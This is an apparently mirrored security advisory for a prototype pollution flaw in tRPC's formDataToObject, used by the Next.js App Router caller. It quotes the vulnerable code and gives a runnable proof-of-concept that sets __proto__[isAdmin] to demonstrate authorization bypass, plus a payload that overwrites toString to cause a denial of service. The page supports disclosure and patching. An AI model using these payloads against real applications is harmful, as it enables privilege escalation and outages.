Hoch

tRPC has possible prototype pollution in `experimental_nextAppDirCaller`

Veröffentlicht: 16.12.2025
Aktualisiert: 11.10.2026 10:22

Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions

Package: @trpc/server
Affected Versions: >=10.27.0
Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

Vulnerability Details

Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.

Vulnerable Code

// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
  if (path.length > 1) {
    const newPath = [...path];
    const key = newPath.shift();  // ← No validation of dangerous keys
    const nextKey = newPath[0];

    if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
      obj[key] = isNumberString(nextKey) ? [] : {};
    }
    
    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
    return;
  }
  // ...
}

export function formDataToObject(formData) {
  const obj = {};
  for (const [key, value] of formData.entries()) {
    const parts = key.split(/[\.\[\]]/).filter(Boolean);  // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
    set(obj, parts, value);
  }
  return obj;
}

Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
  input = formDataToObject(input);  // ← Vulnerable call
}

An attacker can craft FormData with malicious field names:

const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");

When processed, this pollutes Object.prototype:

{}.isAdmin        // → "true"
{}.role           // → "superadmin"

Proof of Concept

bash

# Step 1: Create the project directory

mkdir trpc-vuln-poc
cd trpc-vuln-poc

# Step 2: Initialize npm

npm init -y

# Step 3: Install vulnerable tRPC

npm install @trpc/server@11.7.2

# Step 4: Create the test file

Test.js

const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:");
console.log("    {}.isAdmin =", {}.isAdmin);

const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:");
console.log('    __proto__[isAdmin] = "true"');
console.log('    __proto__[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log("    Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:");
console.log("    {}.isAdmin =", {}.isAdmin);
console.log("    {}.role =", {}.role);

const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log("    Usuario normal:", JSON.stringify(user));
console.log("    user.isAdmin =", user.isAdmin);

if (user.isAdmin) {
    console.log("\n    VULNERABLE - Authorization bypass exitoso!");
} else {
    console.log("\n    ✓ Seguro");
}

Impact

Authorization Bypass (HIGH)

Many applications check user permissions using property access:

// Vulnerable pattern
if (user.isAdmin) {
  // Grant admin access
}

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

Plattform	Paket	Anfällige Versionen	Behoben in
npm-Paket	@trpc/server	>= 10.27.0, < 10.45.3, >= 11.0.0, < 11.8.0	10.45.3, 11.8.0

Verweise

CVSS-Wert -

CVSS-Vektor: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L
Schwäche (CWE): CWE-1321
Plattform: npm
Paket: @trpc/server
Veröffentlicht: 16.12.2025
Aktualisiert: 11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-43p4-m455-4f4j - CC BY 4.0

Schwachstellenhistorie: @trpc/server

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt: 2
Erste → letzte: 04.2025 12.2025
Ohne Fix: 0
In Angriffen ausgenutzt: 0

Verteilung nach Schweregrad

Hoch 2

Veröffentlichungen pro Jahr

2025: 2
2026: 0

16.12.2025

tRPC has possible prototype pollution in `experimental_nextAppDirCaller` dieser Eintrag

Hoch CVE-2025-68130 >= 10.27.0, < 10.45.3, >= 11.0.0, < 11.8.0 10.45.3, 11.8.0
24.04.2025

tRPC 11 WebSocket DoS Vulnerability

Hoch CVE-2025-43855 >= 11.0.0, < 11.1.1 11.1.1

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